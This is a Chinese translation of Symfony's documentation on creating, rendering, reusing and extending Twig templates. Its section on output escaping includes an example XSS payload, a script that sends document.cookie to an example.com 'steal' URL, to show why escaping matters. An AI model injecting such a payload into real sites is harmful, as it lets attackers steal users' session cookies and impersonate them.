跳到内容

创建和使用模板

编辑此页

模板是从应用程序内部组织和渲染 HTML 的最佳方式,无论您需要从 控制器 渲染 HTML 还是生成 电子邮件的内容。Symfony 中的模板使用 Twig 创建:一种灵活、快速且安全的模板引擎。

安装

在使用 Symfony Flex 的应用程序中,运行以下命令以安装 Twig 语言支持及其与 Symfony 应用程序的集成

1
$ composer require symfony/twig-bundle

Twig 模板语言

Twig 模板语言允许您编写简洁、可读的模板,这些模板对 Web 设计师更友好,并且在某些方面比 PHP 模板更强大。看看下面的 Twig 模板示例。即使这是您第一次看到 Twig,您也可能理解其中的大部分内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
    <head>
        <title>Welcome to Symfony!</title>
    </head>
    <body>
        <h1>{{ page_title }}</h1>

        {% if user.isLoggedIn %}
            Hello {{ user.name }}!
        {% endif %}

        {# ... #}
    </body>
</html>

Twig 语法基于以下三个结构

  • {{ ... }},用于显示变量的内容或评估表达式的结果;
  • {% ... %},用于运行一些逻辑,例如条件语句或循环;
  • {# ... #},用于向模板添加注释(与 HTML 注释不同,这些注释不包含在渲染的页面中)。

您不能在 Twig 模板中运行 PHP 代码,但 Twig 提供了在模板中运行一些逻辑的实用程序。例如,过滤器在内容呈现之前修改内容,例如 upper 过滤器将内容转换为大写

1
{{ title|upper }}

Twig 自带了长长的 标签过滤器函数 列表,这些都是默认可用的。在 Symfony 应用程序中,您还可以使用这些 Symfony 定义的 Twig 过滤器和函数,并且您可以 创建您自己的 Twig 过滤器和函数

Twig 在 prod 环境 中速度很快(因为模板被编译成 PHP 并自动缓存),但在 dev 环境中方便使用(因为当您更改模板时,模板会自动重新编译)。

Twig 配置

Twig 有几个配置选项来定义诸如用于显示数字和日期的格式、模板缓存等。阅读 Twig 配置参考 以了解它们。

创建模板

在详细解释如何创建和渲染模板之前,请看下面的示例,快速了解整个过程。首先,您需要在 templates/ 目录中创建一个新文件来存储模板内容

1
2
3
{# templates/user/notifications.html.twig #}
<h1>Hello {{ user_first_name }}!</h1>
<p>You have {{ notifications|length }} new notifications.</p>

然后,创建一个 控制器,该控制器渲染此模板并将其传递给所需的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// src/Controller/UserController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class UserController extends AbstractController
{
    // ...

    public function notifications(): Response
    {
        // get the user information and notifications somehow
        $userFirstName = '...';
        $userNotifications = ['...', '...'];

        // the template path is the relative file path from `templates/`
        return $this->render('user/notifications.html.twig', [
            // this array defines the variables passed to the template,
            // where the key is the variable name and the value is the variable value
            // (Twig recommends using snake_case variable names: 'foo_bar' instead of 'fooBar')
            'user_first_name' => $userFirstName,
            'notifications' => $userNotifications,
        ]);
    }
}

模板命名

Symfony 推荐以下模板名称规范

  • 文件名和目录使用 蛇形命名法 (例如 blog_posts.html.twigadmin/default_theme/blog/index.html.twig 等);
  • 为文件名定义两个扩展名(例如 index.html.twigblog_posts.xml.twig),第一个扩展名(htmlxml 等)是模板将生成的最终格式。

虽然模板通常生成 HTML 内容,但它们可以生成任何基于文本的格式。这就是为什么双扩展名约定简化了为多种格式创建和渲染模板的方式。

模板位置

默认情况下,模板存储在 templates/ 目录中。当服务或控制器渲染 product/index.html.twig 模板时,它们实际上是指 <your-project>/templates/product/index.html.twig 文件。

默认模板目录可以通过 twig.default_path 选项进行配置,您可以添加更多模板目录,如本文稍后所述

模板变量

模板的常见需求是打印存储在从控制器或服务传递的模板中的值。变量通常存储对象和数组,而不是字符串、数字和布尔值。这就是为什么 Twig 提供了对复杂 PHP 变量的快速访问。考虑以下模板

1
<p>{{ user.name }} added this comment on {{ comment.publishedAt|date }}</p>

user.name 表示法意味着您要显示存储在变量 (user) 中的一些信息 (name)。user 是数组还是对象?name 是属性还是方法?在 Twig 中,这无关紧要。

当使用 foo.bar 表示法时,Twig 尝试按以下顺序获取变量的值

  1. $foo['bar'](数组和元素);
  2. $foo->bar(对象和公共属性);
  3. $foo->bar()(对象和公共方法);
  4. $foo->getBar()(对象和getter 方法);
  5. $foo->isBar()(对象和 isser 方法);
  6. $foo->hasBar()(对象和 hasser 方法);
  7. 如果以上都不存在,则使用 null(如果启用了 strict_variables 选项,则抛出 Twig\Error\RuntimeError 异常)。

这允许您在不必更改模板代码的情况下发展您的应用程序代码(您可以从应用程序概念验证的数组变量开始,然后转移到具有方法的对象等)

链接到页面

不要手动编写链接 URL,而是使用 path() 函数根据 路由配置 生成 URL。

稍后,如果您想修改特定页面的 URL,您只需更改路由配置:模板将自动生成新的 URL。

考虑以下路由配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// src/Controller/BlogController.php
namespace App\Controller;

// ...
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;

class BlogController extends AbstractController
{
    #[Route('/', name: 'blog_index')]
    public function index(): Response
    {
        // ...
    }

    #[Route('/article/{slug}', name: 'blog_post')]
    public function show(string $slug): Response
    {
        // ...
    }
}

使用 path() Twig 函数链接到这些页面,并将路由名称作为第一个参数,将路由参数作为可选的第二个参数传递

1
2
3
4
5
6
7
8
9
10
11
<a href="{{ path('blog_index') }}">Homepage</a>

{# ... #}

{% for post in blog_posts %}
    <h1>
        <a href="{{ path('blog_post', {slug: post.slug}) }}">{{ post.title }}</a>
    </h1>

    <p>{{ post.excerpt }}</p>
{% endfor %}

path() 函数生成相对 URL。如果您需要生成绝对 URL(例如,当为电子邮件或 RSS feed 渲染模板时),请使用 url() 函数,该函数采用与 path() 相同的参数(例如,<a href="{{ url('blog_index') }}"> ... </a>)。

链接到 CSS、JavaScript 和图像资源

如果模板需要链接到静态资源(例如图像),Symfony 提供了 asset() Twig 函数来帮助生成该 URL。首先,安装 asset

1
$ composer require symfony/asset

您现在可以使用 asset() 函数

1
2
3
4
5
6
7
8
{# the image lives at "public/images/logo.png" #}
<img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>

{# the CSS file lives at "public/css/blog.css" #}
<link href="{{ asset('css/blog.css') }}" rel="stylesheet"/>

{# the JS file lives at "public/bundles/acme/js/loader.js" #}
<script src="{{ asset('bundles/acme/js/loader.js') }}"></script>

asset() 函数的主要目的是使您的应用程序更具可移植性。如果您的应用程序位于主机的根目录(例如 https://example.com),则渲染的路径应为 /images/logo.png。但是,如果您的应用程序位于子目录中(例如 https://example.com/my_app),则每个资源路径都应使用子目录进行渲染(例如 /my_app/images/logo.png)。asset() 函数通过确定您的应用程序的使用方式并相应地生成正确的路径来处理此问题。

提示

asset() 函数通过 versionversion_formatjson_manifest_path 配置选项支持各种缓存清除技术。

如果您需要资源的绝对 URL,请使用 absolute_url() Twig 函数,如下所示

1
2
3
<img src="{{ absolute_url(asset('images/logo.png')) }}" alt="Symfony!"/>

<link rel="shortcut icon" href="{{ absolute_url('favicon.png') }}">

构建、版本控制和更高级的 CSS、JavaScript 和图像处理

有关以现代方式构建和版本控制 JavaScript 和 CSS 资源的帮助,请阅读关于 Symfony 的 AssetMapper

App 全局变量

Symfony 创建一个上下文对象,该对象作为名为 app 的变量自动注入到每个 Twig 模板中。它提供对某些应用程序信息的访问

1
2
3
4
5
<p>Username: {{ app.user.username ?? 'Anonymous user' }}</p>
{% if app.debug %}
    <p>Request method: {{ app.request.method }}</p>
    <p>Application Environment: {{ app.environment }}</p>
{% endif %}

app 变量(它是 AppVariable 的实例)使您可以访问以下变量

app.user
当前用户对象,如果用户未通过身份验证,则为 null
app.request
Request 对象,用于存储当前的 请求数据(根据您的应用程序,这可以是 子请求 或常规请求)。
app.session
Session 对象,表示当前的 用户会话,如果没有会话,则为 null
app.flashes
存储在会话中的所有 闪存消息 的数组。您也可以只获取某些类型的消息(例如 app.flashes('notice'))。
app.environment
当前 配置环境 的名称(devprod 等)。
app.debug
如果在 调试模式 下,则为 True。否则为 False。
app.token
表示安全令牌的 TokenInterface 对象。
app.current_route
与当前请求关联的路由名称,如果没有请求可用,则为 null(等效于 app.request.attributes.get('_route')
app.current_route_parameters
包含传递给当前请求路由的参数的数组,如果没有请求可用,则为空数组(等效于 app.request.attributes.get('_route_params')
app.locale
当前 区域设置切换器 上下文中使用的区域设置。
app.enabled_locales
应用程序中启用的区域设置。

除了 Symfony 注入的全局 app 变量外,您还可以将变量自动注入到所有 Twig 模板中,如下一节所述。

全局变量

Twig 允许您自动将一个或多个变量注入到所有模板中。这些全局变量在主 Twig 配置文件中的 twig.globals 选项中定义

1
2
3
4
5
# config/packages/twig.yaml
twig:
    # ...
    globals:
        ga_tracking: 'UA-xxxxx-x'

现在,变量 ga_tracking 在所有 Twig 模板中都可用,因此您可以使用它,而无需从渲染模板的控制器或服务显式传递它

1
<p>The Google tracking code is: {{ ga_tracking }}</p>

除了静态值之外,Twig 全局变量还可以引用 服务容器 中的服务。主要缺点是这些服务不是延迟加载的。换句话说,一旦加载 Twig,您的服务就会被实例化,即使您从未使用过该全局变量。

要将服务定义为全局 Twig 变量,请在服务 ID 字符串前加上 @ 字符,这是 引用容器参数中的服务 的常用语法

1
2
3
4
5
6
# config/packages/twig.yaml
twig:
    # ...
    globals:
        # the value is the service's id
        uuid: '@App\Generator\UuidGenerator'

现在,您可以在任何 Twig 模板中使用 uuid 变量来访问 UuidGenerator 服务

1
UUID: {{ uuid.generate }}

Twig 组件

Twig 组件是渲染模板的另一种方式,其中每个模板都绑定到一个“组件类”。这使得渲染和重用小的模板“单元”更容易 - 例如警报、模态标记或类别侧边栏。

有关更多信息,请参阅 UX Twig 组件

Twig 组件还具有另一项超能力:它们可以变为“实时的”,当用户与它们交互时,它们会自动更新(通过 Ajax)。例如,当您的用户在框中键入内容时,您的 Twig 组件将通过 Ajax 重新渲染以显示结果列表!

要了解更多信息,请参阅 UX Live 组件

渲染模板

在控制器中渲染模板

如果您的控制器从 AbstractController 扩展而来,请使用 render() 助手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    public function index(): Response
    {
        // ...

        // the `render()` method returns a `Response` object with the
        // contents created by the template
        return $this->render('product/index.html.twig', [
            'category' => '...',
            'promotions' => ['...', '...'],
        ]);

        // the `renderView()` method only returns the contents created by the
        // template, so you can use those contents later in a `Response` object
        $contents = $this->renderView('product/index.html.twig', [
            'category' => '...',
            'promotions' => ['...', '...'],
        ]);

        return new Response($contents);
    }
}

如果您的控制器未从 AbstractController 扩展而来,您需要 在您的控制器中获取服务 并使用 twig 服务的 render() 方法。

另一种选择是在控制器方法上使用 #[Template] 属性来定义要渲染的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bridge\Twig\Attribute\Template;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    #[Template('product/index.html.twig')]
    public function index(): array
    {
        // ...

        // when using the #[Template] attribute, you only need to return
        // an array with the parameters to pass to the template (the attribute
        // is the one which will create and return the Response object).
        return [
            'category' => '...',
            'promotions' => ['...', '...'],
        ];
    }
}

基础 AbstractController 还提供了 renderBlock()renderBlockView() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    // ...

    public function price(): Response
    {
        // ...

        // the `renderBlock()` method returns a `Response` object with the
        // block contents
        return $this->renderBlock('product/index.html.twig', 'price_block', [
            // ...
        ]);

        // the `renderBlockView()` method only returns the contents created by the
        // template block, so you can use those contents later in a `Response` object
        $contents = $this->renderBlockView('product/index.html.twig', 'price_block', [
            // ...
        ]);

        return new Response($contents);
    }
}

当处理 模板继承 中的块或使用 Turbo Streams 时,这可能会派上用场。

类似地,您可以在控制器上使用 #[Template] 属性来指定要渲染的块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// src/Controller/ProductController.php
namespace App\Controller;

use Symfony\Bridge\Twig\Attribute\Template;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;

class ProductController extends AbstractController
{
    #[Template('product.html.twig', block: 'price_block')]
    public function price(): array
    {
        return [
            // ...
        ];
    }
}

7.2

#[Template] 属性的 block 参数是在 Symfony 7.2 中引入的。

在服务中渲染模板

twig Symfony 服务注入到您自己的服务中,并使用其 render() 方法。当使用 服务自动装配 时,您只需要在服务构造函数中添加一个参数,并使用 Twig Environment 对其进行类型提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// src/Service/SomeService.php
namespace App\Service;

use Twig\Environment;

class SomeService
{
    public function __construct(
        private Environment $twig,
    ) {
    }

    public function someMethod(): void
    {
        // ...

        $htmlContents = $this->twig->render('product/index.html.twig', [
            'category' => '...',
            'promotions' => ['...', '...'],
        ]);
    }
}

直接从路由渲染模板

虽然模板通常在控制器和服务中渲染,但您可以直接从路由定义渲染不需要任何变量的静态页面。使用 Symfony 提供的特殊 TemplateController

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# config/routes.yaml
acme_privacy:
    path:          /privacy
    controller:    Symfony\Bundle\FrameworkBundle\Controller\TemplateController
    defaults:
        # the path of the template to render
        template:  'static/privacy.html.twig'

        # the response status code (default: 200)
        statusCode: 200

        # special options defined by Symfony to set the page cache
        maxAge:    86400
        sharedAge: 86400

        # whether or not caching should apply for client caches only
        private: true

        # optionally you can define some arguments passed to the template
        context:
            site_name: 'ACME'
            theme: 'dark'

        # optionally you can define HTTP headers to add to the response
        headers:
            Content-Type: 'text/html'
            foo: 'bar'

7.2

headers 选项是在 Symfony 7.2 中引入的。

检查模板是否存在

模板在应用程序中使用 Twig 模板加载器 加载,它还提供了一种检查模板是否存在的方法。首先,获取加载器

1
2
3
4
5
6
7
8
9
10
11
use Twig\Environment;

class YourService
{
    // this code assumes that your service uses autowiring to inject dependencies
    // otherwise, inject the service called 'twig' manually
    public function __construct(Environment $twig)
    {
        $loader = $twig->getLoader();
    }
}

然后,将 Twig 模板的路径传递给加载器的 exists() 方法

1
2
3
4
if ($loader->exists('theme/layout_responsive.html.twig')) {
    // the template exists, do something
    // ...
}

调试模板

Symfony 提供了几个实用程序来帮助您调试模板中的问题。

检查 Twig 模板的代码风格

lint:twig 命令检查您的 Twig 模板是否没有任何语法错误。在将您的应用程序部署到生产环境之前运行它很有用(例如,在您的持续集成服务器中)

1
2
3
4
5
6
7
8
9
10
11
12
# check all the application templates
$ php bin/console lint:twig

# you can also check directories and individual templates
$ php bin/console lint:twig templates/email/
$ php bin/console lint:twig templates/article/recent_list.html.twig

# you can also show the deprecated features used in your templates
$ php bin/console lint:twig --show-deprecations templates/email/

# you can also excludes directories
$ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool

7.1

排除目录的选项是在 Symfony 7.1 中引入的。

当在 GitHub Actions 中运行 linter 时,输出会自动适应 GitHub 所需的格式,但您也可以强制使用该格式

1
$ php bin/console lint:twig --format=github

检查 Twig 信息

debug:twig 命令列出有关 Twig 的所有可用信息(函数、过滤器、全局变量等)。它对于检查您的 自定义 Twig 扩展 是否正常工作以及检查 安装包 时添加的 Twig 功能很有用

1
2
3
4
5
6
7
8
# list general information
$ php bin/console debug:twig

# filter output by any keyword
$ php bin/console debug:twig --filter=date

# pass a template path to show the physical file which will be loaded
$ php bin/console debug:twig @Twig/Exception/error.html.twig

Dump Twig 实用工具

Symfony 提供了 dump() 函数 作为 PHP 的 var_dump() 函数的改进替代方案。此函数对于检查任何变量的内容很有用,您也可以在 Twig 模板中使用它。

首先,确保 VarDumper 组件已安装在应用程序中

1
$ composer require --dev symfony/debug-bundle

然后,根据您的需要使用 {% dump %} 标签或 {{ dump() }} 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{# templates/article/recent_list.html.twig #}
{# the contents of this variable are sent to the Web Debug Toolbar
   instead of dumping them inside the page contents #}
{% dump articles %}

{% for article in articles %}
    {# the contents of this variable are dumped inside the page contents
       and they are visible on the web page #}
    {{ dump(article) }}

    {# optionally, use named arguments to display them as labels next to
       the dumped contents #}
    {{ dump(blog_posts: articles, user: app.user) }}

    <a href="/article/{{ article.slug }}">
        {{ article.title }}
    </a>
{% endfor %}

为了避免泄露敏感信息,dump() 函数/标签仅在 devtest 配置环境中可用。如果您尝试在 prod 环境中使用它,您将看到一个 PHP 错误。

重用模板内容

包含模板

如果某些 Twig 代码在多个模板中重复出现,您可以将其提取到一个单独的“模板片段”中,并在其他模板中包含它。假设以下用于显示用户信息代码在多个位置重复出现

1
2
3
4
5
6
7
{# templates/blog/index.html.twig #}

{# ... #}
<div class="user-profile">
    <img src="{{ user.profileImageUrl }}" alt="{{ user.fullName }}"/>
    <p>{{ user.fullName }} - {{ user.email }}</p>
</div>

首先,创建一个名为 blog/_user_profile.html.twig 的新 Twig 模板(_ 前缀是可选的,但这是一个用于更好地区分完整模板和模板片段的约定)。

然后,从原始 blog/index.html.twig 模板中删除该内容,并添加以下内容以包含模板片段

1
2
3
4
{# templates/blog/index.html.twig #}

{# ... #}
{{ include('blog/_user_profile.html.twig') }}

include() Twig 函数将要包含的模板路径作为参数。包含的模板可以访问包含它的模板的所有变量(使用 with_context 选项来控制这一点)。

您还可以将变量传递给包含的模板。例如,这对于重命名变量非常有用。假设您的模板将用户信息存储在一个名为 blog_post.author 的变量中,而不是模板片段期望的 user 变量。使用以下代码重命名变量

1
2
3
4
{# templates/blog/index.html.twig #}

{# ... #}
{{ include('blog/_user_profile.html.twig', {user: blog_post.author}) }}

嵌入控制器

包含模板片段对于在多个页面上重用相同的内容非常有用。但是,在某些情况下,这种技术不是最佳解决方案。

假设模板片段显示最近的三篇博客文章。为此,它需要进行数据库查询以获取这些文章。当使用 include() 函数时,您需要在每个包含该片段的页面中执行相同的数据库查询。这不是很方便。

一个更好的替代方案是使用 render()controller() Twig 函数嵌入执行某些控制器的结果

首先,创建控制器来呈现一定数量的最新文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// src/Controller/BlogController.php
namespace App\Controller;

use Symfony\Component\HttpFoundation\Response;
// ...

class BlogController extends AbstractController
{
    public function recentArticles(int $max = 3): Response
    {
        // get the recent articles somehow (e.g. making a database query)
        $articles = ['...', '...', '...'];

        return $this->render('blog/_recent_articles.html.twig', [
            'articles' => $articles
        ]);
    }
}

然后,创建 blog/_recent_articles.html.twig 模板片段(模板名称中的 _ 前缀是可选的,但这是一个用于更好地区分完整模板和模板片段的约定)

1
2
3
4
5
6
{# templates/blog/_recent_articles.html.twig #}
{% for article in articles %}
    <a href="{{ path('blog_show', {slug: article.slug}) }}">
        {{ article.title }}
    </a>
{% endfor %}

现在您可以从任何模板调用此控制器以嵌入其结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{# templates/base.html.twig #}

{# ... #}
<div id="sidebar">
    {# if the controller is associated with a route, use the path() or url() functions #}
    {{ render(path('latest_articles', {max: 3})) }}
    {{ render(url('latest_articles', {max: 3})) }}

    {# if you don't want to expose the controller with a public URL,
       use the controller() function to define the controller to execute #}
    {{ render(controller(
        'App\\Controller\\BlogController::recentArticles', {max: 3}
    )) }}
</div>

当使用 controller() 函数时,控制器不是使用常规 Symfony 路由访问的,而是通过一个特殊的 URL 访问的,该 URL 专门用于服务这些模板片段。在 fragments 选项中配置该特殊 URL

1
2
3
4
# config/packages/framework.yaml
framework:
    # ...
    fragments: { path: /_fragment }

警告

嵌入控制器需要向这些控制器发出请求并呈现一些模板作为结果。如果您嵌入大量控制器,这可能会对应用程序性能产生重大影响。如果可能,缓存模板片段

如何使用 hinclude.js 嵌入异步内容

模板还可以使用 hinclude.js JavaScript 库异步嵌入内容。

首先,在您的页面中包含 hinclude.js 库,方法是从模板 链接到它,或将其添加到您的应用程序 JavaScript 中,使用 AssetMapper

由于嵌入的内容来自另一个页面(或控制器),Symfony 使用标准 render() 函数的一个版本来配置模板中的 hinclude 标签

1
2
{{ render_hinclude(controller('...')) }}
{{ render_hinclude(url('...')) }}

注意

当使用 controller() 函数时,您还必须配置 fragments path 选项

当 JavaScript 被禁用或加载时间过长时,您可以显示默认内容,呈现一些模板

1
2
3
4
5
# config/packages/framework.yaml
framework:
    # ...
    fragments:
        hinclude_default_template: hinclude.html.twig

您可以为每个 render() 函数定义默认模板(这将覆盖定义的任何全局默认模板)

1
2
3
{{ render_hinclude(controller('...'),  {
    default: 'default/content.html.twig'
}) }}

或者您也可以指定一个字符串来显示为默认内容

1
{{ render_hinclude(controller('...'), {default: 'Loading...'}) }}

使用 attributes 选项来定义 hinclude.js 选项的值

1
2
3
4
5
6
7
{# by default, cross-site requests don't use credentials such as cookies, authorization
   headers or TLS client certificates; set this option to 'true' to use them #}
{{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}

{# by default, the JavaScript code included in the loaded contents is not run;
   set this option to 'true' to run that JavaScript code #}
{{ render_hinclude(controller('...'), {attributes: {evaljs: 'true'}}) }}

模板继承和布局

随着应用程序的增长,您会发现页面之间越来越多的重复元素,例如页眉、页脚、侧边栏等。包含模板嵌入控制器可以提供帮助,但是当页面共享一个通用结构时,最好使用继承

Twig 模板继承的概念类似于 PHP 类继承。您定义一个父模板,其他模板可以从中扩展,而子模板可以覆盖父模板的部分内容。

Symfony 建议中型和复杂应用程序使用以下三级模板继承

  • templates/base.html.twig,定义所有应用程序模板的公共元素,例如 <head><header><footer> 等;
  • templates/layout.html.twig,从 base.html.twig 扩展,并定义所有或大多数页面中使用的内容结构,例如两列内容 + 侧边栏布局。应用程序的某些部分可以定义自己的布局(例如 templates/blog/layout.html.twig);
  • templates/*.html.twig,应用程序页面,它们从主 layout.html.twig 模板或任何其他部分布局扩展。

在实践中,base.html.twig 模板看起来像这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{# templates/base.html.twig #}
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>{% block title %}My Application{% endblock %}</title>
        {% block stylesheets %}
            <link rel="stylesheet" type="text/css" href="/css/base.css"/>
        {% endblock %}
    </head>
    <body>
        {% block body %}
            <div id="sidebar">
                {% block sidebar %}
                    <ul>
                        <li><a href="{{ path('homepage') }}">Home</a></li>
                        <li><a href="{{ path('blog_index') }}">Blog</a></li>
                    </ul>
                {% endblock %}
            </div>

            <div id="content">
                {% block content %}{% endblock %}
            </div>
        {% endblock %}
    </body>
</html>

Twig block 标签定义了可以在子模板中覆盖的页面部分。它们可以是空的,例如 content 块,或者定义默认内容,例如 title 块,当子模板不覆盖它们时,将显示该默认内容。

blog/layout.html.twig 模板可能如下所示

1
2
3
4
5
6
7
8
{# templates/blog/layout.html.twig #}
{% extends 'base.html.twig' %}

{% block content %}
    <h1>Blog</h1>

    {% block page_contents %}{% endblock %}
{% endblock %}

该模板从 base.html.twig 扩展,并且仅定义 content 块的内容。父模板块的其余部分将显示其默认内容。但是,它们可以被第三级继承模板覆盖,例如显示博客索引的 blog/index.html.twig

1
2
3
4
5
6
7
8
9
10
11
{# templates/blog/index.html.twig #}
{% extends 'blog/layout.html.twig' %}

{% block title %}Blog Index{% endblock %}

{% block page_contents %}
    {% for article in articles %}
        <h2>{{ article.title }}</h2>
        <p>{{ article.body }}</p>
    {% endfor %}
{% endblock %}

此模板从二级模板 (blog/layout.html.twig) 扩展,但覆盖了不同父模板的块:来自 blog/layout.html.twigpage_contents 和来自 base.html.twigtitle

当您呈现 blog/index.html.twig 模板时,Symfony 使用三个不同的模板来创建最终内容。这种继承机制提高了您的生产力,因为每个模板仅包含其独特的内容,并将重复的内容和 HTML 结构留给一些父模板。

警告

当使用 extends 时,禁止子模板在块外部定义模板部分。以下代码会抛出 SyntaxError

1
2
3
4
5
6
7
8
{# templates/blog/index.html.twig #}
{% extends 'base.html.twig' %}

{# the line below is not captured by a "block" tag #}
<div class="alert">Some Alert</div>

{# the following is valid #}
{% block content %}My cool blog posts{% endblock %}

阅读 Twig 模板继承 文档,以了解有关在覆盖模板和其它高级功能时如何重用父块内容的更多信息。

输出转义和 XSS 攻击

假设您的模板包含 Hello {{ name }} 代码以显示用户名,并且恶意用户将其姓名设置为以下内容

1
2
3
4
My Name
<script type="text/javascript">
    document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
</script>

您将在屏幕上看到 My Name,但攻击者只是秘密地窃取了您的 Cookie,以便他们可以在其他网站上冒充您。这被称为 跨站脚本 或 XSS 攻击。

为了防止这种攻击,请使用“输出转义”来转换具有特殊含义的字符(例如,将 < 替换为 &lt; HTML 实体)。Symfony 应用程序默认是安全的,因为它们执行自动输出转义

1
2
3
<p>Hello {{ name }}</p>
{# if 'name' is '<script>alert('hello!')</script>', Twig will output this:
   '<p>Hello &lt;script&gt;alert(&#39;hello!&#39;)&lt;/script&gt;</p>' #}

如果您要呈现一个受信任并且包含 HTML 内容的变量,请使用 Twig raw 过滤器来禁用该变量的输出转义

1
2
3
<h1>{{ product.title|raw }}</h1>
{# if 'product.title' is 'Lorem <strong>Ipsum</strong>', Twig will output
   exactly that instead of 'Lorem &lt;strong&gt;Ipsum&lt;/strong&gt;' #}

阅读 Twig 输出转义文档,以了解有关如何禁用块甚至整个模板的输出转义的更多信息。

模板命名空间

尽管大多数应用程序将其模板存储在默认的 templates/ 目录中,但您可能需要将部分或全部模板存储在不同的目录中。使用 twig.paths 选项来配置这些额外的目录。每个路径都定义为一个 key: value 对,其中 key 是模板目录,value 是 Twig 命名空间,这将在稍后解释

1
2
3
4
5
6
7
8
# config/packages/twig.yaml
twig:
    # ...
    paths:
        # directories are relative to the project root dir (but you
        # can also use absolute directories)
        'email/default/templates': ~
        'backend/templates': ~

当呈现模板时,Symfony 首先在不定义命名空间的 twig.paths 目录中查找它,然后回退到默认模板目录(通常是 templates/)。

使用上述配置,如果您的应用程序例如呈现 layout.html.twig 模板,Symfony 将首先查找 email/default/templates/layout.html.twigbackend/templates/layout.html.twig。如果这些模板中的任何一个存在,Symfony 将使用它,而不是使用 templates/layout.html.twig,这可能是您想要使用的模板。

Twig 使用命名空间解决了这个问题,命名空间将多个模板分组到一个与其实际位置无关的逻辑名称下。更新之前的配置,为每个模板目录定义一个命名空间

1
2
3
4
5
6
# config/packages/twig.yaml
twig:
    # ...
    paths:
        'email/default/templates': 'email'
        'backend/templates': 'admin'

现在,如果您呈现 layout.html.twig 模板,Symfony 将呈现 templates/layout.html.twig 文件。使用特殊语法 @ + 命名空间来引用其他命名空间模板(例如 @email/layout.html.twig@admin/layout.html.twig)。

注意

单个 Twig 命名空间可以与多个模板目录关联。在这种情况下,路径添加的顺序很重要,因为 Twig 将从第一个定义的路径开始查找模板。

Bundle 模板

如果您在应用程序中安装软件包/bundles,它们可能包含自己的 Twig 模板(在每个 bundle 的 Resources/views/ 目录中)。为了避免弄乱您自己的模板,Symfony 将 bundle 模板添加到在 bundle 名称之后创建的自动命名空间下。

例如,名为 AcmeBlogBundle 的 bundle 的模板在 AcmeBlog 命名空间下可用。如果此 bundle 包含模板 <your-project>/vendor/acme/blog-bundle/templates/user/profile.html.twig,您可以将其称为 @AcmeBlog/user/profile.html.twig

提示

如果您想更改原始 bundle 模板的某些部分,您还可以覆盖 bundle 模板

编写 Twig 扩展

Twig 扩展允许创建自定义函数、过滤器等,以便在您的 Twig 模板中使用。在编写您自己的 Twig 扩展之前,请检查您需要的过滤器/函数是否尚未在以下位置实现

创建扩展类

假设您想要创建一个名为 price 的新过滤器,该过滤器将数字格式化为货币

1
2
3
4
{{ product.price|price }}

{# pass in the 3 optional arguments #}
{{ product.price|price(2, ',', '.') }}

创建一个扩展 AbstractExtension 的类,并填写逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// src/Twig/AppExtension.php
namespace App\Twig;

use Twig\Extension\AbstractExtension;
use Twig\TwigFilter;

class AppExtension extends AbstractExtension
{
    public function getFilters(): array
    {
        return [
            new TwigFilter('price', [$this, 'formatPrice']),
        ];
    }

    public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
    {
        $price = number_format($number, $decimals, $decPoint, $thousandsSep);
        $price = '$'.$price;

        return $price;
    }
}

如果您想创建一个函数而不是过滤器,请定义 getFunctions() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// src/Twig/AppExtension.php
namespace App\Twig;

use Twig\Extension\AbstractExtension;
use Twig\TwigFunction;

class AppExtension extends AbstractExtension
{
    public function getFunctions(): array
    {
        return [
            new TwigFunction('area', [$this, 'calculateArea']),
        ];
    }

    public function calculateArea(int $width, int $length): int
    {
        return $width * $length;
    }
}

提示

除了自定义过滤器和函数之外,您还可以注册全局变量

将扩展注册为服务

接下来,将您的类注册为服务,并使用 twig.extension 标记它。如果您正在使用默认的 services.yaml 配置,您就完成了!Symfony 将自动了解您的新服务并添加标签。

现在您可以开始在任何 Twig 模板中使用您的过滤器。可选地,执行此命令以确认您的新过滤器已成功注册

1
2
3
4
5
# display all information about Twig
$ php bin/console debug:twig

# display only the information about a specific filter
$ php bin/console debug:twig --filter=price

